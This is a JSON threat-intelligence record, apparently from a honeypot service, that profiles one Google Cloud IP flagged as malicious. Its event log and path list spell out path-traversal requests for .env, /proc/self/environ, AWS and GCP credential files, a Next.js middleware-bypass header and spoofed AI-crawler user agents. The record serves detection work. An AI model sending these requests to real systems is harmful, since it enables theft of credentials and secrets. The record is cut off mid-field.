{"ip":"136.70.235.57","total_events":281,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"86 exploit-path hits","confidence":"high","network_type":null,"why":["86 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,180,699 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,180,699 bytes sent","bytes_sent":1180699,"session_seconds":11,"persistent":false}},"first_seen":"2026-10-11T11:55:56","last_seen":"2026-10-11T11:56:08","events_24h":0,"events_7d":281,"geo":{"country_code":"US","country_name":"United States","region":"District of Columbia","city":"Washington","lat":38.894,"lon":-77.0365,"asn":396982,"org":"Google LLC"},"source_domain":"57.235.70.136.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins"},{"cve_id":"CVE-2026-89013","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php"},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map"}],"malware":[],"udp":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":281}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106fa010006f60303b1bc8d8d55b45bc5243912beac4971caea691f8937dba607fe7de51d6af3dfa020b64d92b3aa8c9b3b4a5183d192c4dae7d2f9e960b5fa94f9f29bc2169c4ab08300209a9a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100068d7a7a00000000001600140000116368696361676f2e76706e69676f2e6465002300000010000e000c02683208687474702f312e31000a000c000ababa11ec001d00170018000b000201000017000000120000003304ef04edbaba00010011ec04c0cb9b20c70189c4ebc4fb7a541a8965ad1c2bd8327f723bae2433a4c7f4899c553c8fe5a4841ccf00513034a15684a361e8480b60e688ccc46bf7912f3a350d52694cf5eb03ff041b93d5726cc85282e8cc0775ae52dac18ec75ba5cbb947c449f5284e4224b088d853bf686075f743cbc6843d101a4e9cc8bd0bcc057bceaa1910353a65497805ff6b88080b6db835013a092d878a4b8ac85d658b656c607fdf517ebfa15776b1ae46b78439f7b296451384a7b46c0666cad37bde28cfbb095a6b270b6718bfdfc6017315262ecc58a3cc020b29001fb7c9ea44077ae476c9773eaa15651164cd682ca17fe01704a1baee4ba1381c9918920e7b2c9a6cc71303b53d99877b9f49aa35b67bd457461a952a14d74bf469a29e993a71168600dc026af08e41e64fa3230fca9790dd13932ee56785389d9c6447cb63c8cba4cf62fbb0667c8150fb5ce02033b9155993a09428f9ccd00633446857588636fca1a83f605db8945ce317006055b255e05cdc837909c7340f477c4feb97cb39b178d530135ca6c3f66d973c08ecd3333b7544007db2be2280530a60f4f9cb85e92afcb83874ac7650e398f06bbba594bdc8368100dbae8e75be7ed27742bb02cfcc603beb9ebc542fad432347a724c460bb45b2cac909b4179b1b80d193747370f1489ba5f1613e055cdf053076309294f26174a5684e32536897b751a757fd581baa216d3f7ac55571b48ac5ae087481d7c80e43324bfd09028ec5b3978a485c080bef997f2dc505e7697627730f1c95745f0954f4862732567af032bc1f1c52944c4f27557b07bc102f29aa297a8b780a515deabb2ab861d7b53798460d2a680f14d4a1be4225e00c99ea77041a520932e69f5fd30607a651046275a34b8f762022886a55b18305bae364af3b9e3a8820ded521b153ae5e795c52f0b7fc886e3f2852926a1ab9c9ba333b6e518494e0f691b7b11ebba5639b481b49060b370212c7447ca37614e52b852bac4e922b30541cb415771007a82e6cf5abf01296603794ee54aee5da2f6725c0f13ca69c42485f4018c44998f7c35b550634e405b061530da25836a74093cda1c40cd030770904e5eca416481936136dff6b5ad991968fdb323bcb583df6ccd652464402817600a16ed387e9959d55b76291f14e6259c99ca1aca2221fd5e7ae0c020779472530b7ae6e2c7de662a6ad438dec26a23cf4cd7ee4810f68700f3b3a54a31691d86238719764fcad5c5801514325f3563f2d246d9ceb591eb9074e57b20e594f13eb685b3b424192542b39924d237b1553c288990176d142a4200d16f2c148bc025a87482540bf0fa43095b8464d11659b3c12fde8a46127ada291483d184cb6a8915a7c8f14b58230387bf6b2b3da46ca1a50caceb61f59eb73df44aa6ada813792279cb5b5353b703ef640303b5af6a57933a11c90f3266bd5026b19cfd8e2c786c1ac605a930922a606269c5d6698718c3a60c605a6f9678a426f6d80609867784941c822f874c2147191d36bff3247d8e3b5121238f33a4b601c84b70180de397295024814d7767d8609eba6bfee295c13a2cd99e62daec2590bdb2329394741ea89d957974f105427794c085644fa772e619bb9227300e8c517bcd8029551dc21ddfbd546d2b65764e597ecbb4a643db877e104eccb6662003880d08c572a345c7479075a7894ec3302e38f174c46bf6b001d0020e29326690c247c152382d094c6d765261a754c8e268d3efb1ad720684fa2c70c002b0007069a9a03040303000500050100000000ff01000100002d0002010144cd00050003026832000d0012001004030804040105030805050108060601001b0003020002fe0d00fa0000010001010020078083a6d99b971c726998934328191c770ef74e2d963bb980f67ea468cf574300d049ca1041a58a261825b1618b1f99ec021b25deffdeabd1e9ffbac6b2a9e58d7fad51bf5dbaa2365a0995ec993b5aa1d4d628e4e5df5e73f1e2b47e9abade45b0331757b4a69ec4b7959da8f97bcebcc866d1d05795a1018f8f136ea01fca31ea7a2082a3ddf8b0ff29610ddf542b3f2db94609fe023762bd4bf2b9e0e835d5fa158efa0d714f434eec04133a845c3913736ddf28dde55e5e319001c72f02415ebf779dd247989a4bb38d8eb90f7b2e27e2bb2966017b8b44d05bed9e941ebe93595d330349bb4c213bf348cc9b07c34a5a5a000100","tls_ja3":["4e347e5b040898c7fe2f667019a0c6c4","621d1ef3b1cf22c551e5b0da73e45a7f","bb59403273c2a1e1e4ca2b165ebf2516","9897190f66368051c3afaa0f6a4cbc02","a6eaafce6874998f0bbd8727e3c64f37"],"http_akin":["b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cun062_00040016_84d4cebf_xce00d0f1","b11cuq150_10057dde_0ef1dcbb"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":23,"b11cun162_000c73fe_fe528c8e_xce00d0f1":17,"b11cun062_00040016_84d4cebf_xce00d0f1":17,"b11cuq150_10057dde_0ef1dcbb":17},"akin_families":{},"user_agents":["Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)","Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)","Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0","Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"],"timeline":[{"date":"2026-10-11","count":281}],"recent_events":[{"timestamp":"2026-10-11T11:56:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/public/plugins/alertlist/../../../../../../../../proc/self/environ","summary":"","payload_hex":"474554202f7075626c69632f706c7567696e732f616c6572746c6973742f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e20485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"3a849bc45de43ebb5585aa1fcf8b69e8","session":"d2c1e9a8-ccae-4cec-9598-d96634e16cc7","seq":19,"duration_ms":10728,"bytes_in":7681,"bytes_out":1482},{"timestamp":"2026-10-11T11:56:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/resources/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.env","summary":"","payload_hex":"474554202f7265736f75726365732f2532652532652532662532652532652532662532652532652532662532652532652532662e656e7620485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20446565705365656b426f742f312e303b202b68747470733a2f2f7777772e646565707365656b2e636f6d2f290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","ja3":"12396a9fd6859e440e08caf6e08ffc28","session":"2861a6fc-8ddf-42e8-9340-9376acd55280","seq":18,"duration_ms":10424,"bytes_in":7480,"bytes_out":1404},{"timestamp":"2026-10-11T11:56:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/gcp-credentials.json","summary":"","payload_hex":"474554202f6763702d63726564656e7469616c732e6a736f6e20485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20636f686572652d61693b202b68747470733a2f2f636f686572652e636f6d2f637261776c6572290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","ja3":"b1a0030b5ba5d021b15e2f8456afd747","session":"36c2339b-9cc2-49eb-8ee7-d9b6082fcf2e","seq":17,"duration_ms":10453,"bytes_in":6949,"bytes_out":1326},{"timestamp":"2026-10-11T11:56:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cache/original/%2e%2e/.env","summary":"","payload_hex":"474554202f63616368652f6f726967696e616c2f2532652532652f2e656e7620485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"bb59403273c2a1e1e4ca2b165ebf2516","session":"e2d20656-3234-42bd-9d50-3833be281948","seq":21,"duration_ms":9748,"bytes_in":8829,"bytes_out":1638},{"timestamp":"2026-10-11T11:56:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/static/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/environ","summary":"","payload_hex":"474554202f7374617469632f25326525326525326625326525326525326625326525326525326625326525326525326670726f632f73656c662f656e7669726f6e20485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d536561726368426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","ja3":"a6eaafce6874998f0bbd8727e3c64f37","session":"f10ab12a-031a-4425-acad-d6f2fa5c819b","seq":20,"duration_ms":10027,"bytes_in":7991,"bytes_out":1560},{"timestamp":"2026-10-11T11:56:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/userfiles/x?path=../../../../proc/self/environ","summary":"","payload_hex":"474554202f7573657266696c65732f783f706174683d2e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e20485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b205177656e626f742f312e303b202b68747470733a2f2f7177656e2e616c69626162612e636f6d2f290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)","ja3":"621d1ef3b1cf22c551e5b0da73e45a7f","session":"aa5c731e-3a66-42d7-8c2f-b61512ddaf47","seq":23,"duration_ms":10649,"bytes_in":10115,"bytes_out":1794},{"timestamp":"2026-10-11T11:56:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/userfiles?path=../../../.env","summary":"","payload_hex":"474554202f7573657266696c65733f706174683d2e2e2f2e2e2f2e2e2f2e656e7620485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c61756465426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","ja3":"2d526b20585bc7c2f89a994abe4bdf69","session":"7c13be72-ed6d-40aa-8845-ba8ec75b7c69","seq":18,"duration_ms":10010,"bytes_in":7052,"bytes_out":1404},{"timestamp":"2026-10-11T11:56:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/userfiles?path=../../../../proc/self/environ","summary":"","payload_hex":"474554202f7573657266696c65733f706174683d2e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e20485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20416d617a6f6e626f742f302e313b202b68747470733a2f2f646576656c6f7065722e616d617a6f6e2e636f6d2f737570706f72742f616d617a6f6e626f74290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)","ja3":"bb59403273c2a1e1e4ca2b165ebf2516","session":"e2d20656-3234-42bd-9d50-3833be281948","seq":22,"duration_ms":10028,"bytes_in":9258,"bytes_out":1716},{"timestamp":"2026-10-11T11:56:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cache/original/%2e%2e/%2e%2e/.env","summary":"","payload_hex":"474554202f63616368652f6f726967696e616c2f2532652532652f2532652532652f2e656e7620485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"a6eaafce6874998f0bbd8727e3c64f37","session":"f10ab12a-031a-4425-acad-d6f2fa5c819b","seq":19,"duration_ms":9766,"bytes_in":7524,"bytes_out":1482},{"timestamp":"2026-10-11T11:56:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/system/fileView?file=/app/.env","summary":"","payload_hex":"474554202f6170692f73797374656d2f66696c65566965773f66696c653d2f6170702f2e656e7620485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2047726f6b426f742f312e303b202b68747470733a2f2f782e61692f290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","ja3":"3a849bc45de43ebb5585aa1fcf8b69e8","session":"d2c1e9a8-ccae-4cec-9598-d96634e16cc7","seq":18,"duration_ms":9850,"bytes_in":7260,"bytes_out":1404}],"http_methods":[{"method":"GET","count":278},{"method":"POST","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/@fs/app/.env?raw??","count":1,"ports":1},{"path":"/@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??","count":1,"ports":1},{"path":"/static/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.env","count":1,"ports":1},{"path":"/__vite_rsc_findSourceMapURL?filename=file:///app/.env&environmentName=rsc","count":1,"ports":1},{"path":"/__vite_rsc_findSourceMapURL?filename=file:///root/.aws/credentials&environmentName=rsc","count":1,"ports":1},{"path":"/public/plugins/alertlist/../../../../../../../../proc/self/environ","count":1,"ports":1},{"path":"/static/../../../a/../../../../proc/self/environ","count":1,"ports":1},{"path":"/api/system/fileView?file=/proc/self/environ","count":1,"ports":1},{"path":"/.env.development::$DATA?raw","count":1,"ports":1},{"path":"/@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??","count":1,"ports":1},{"path":"/resources/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.env","count":1,"ports":1},{"path":"/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ","count":1,"ports":1},{"path":"/google-service-account.json","count":1,"ports":1},{"path":"/public/plugins/text/../../../../../../../../proc/self/environ","count":1,"ports":1},{"path":"/api/system/fileView?file=/app/.env","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"chicago.vpnigo.de","count":281}],"top_hosts":[{"value":"chicago.vpnigo.de","count":281}],"top_alpns":[{"value":"h2, http/1.1","count":281}],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Host","User-Agent","X-Middleware-Subrequest","X-Nextjs-Data"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Host","value":"chicago.vpnigo.de","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","notable":false},{"name":"X-Middleware-Subrequest","value":"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware","notable":true},{"name":"X-Nextjs-Data","value":"1","notable":true}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - Arbitrary File 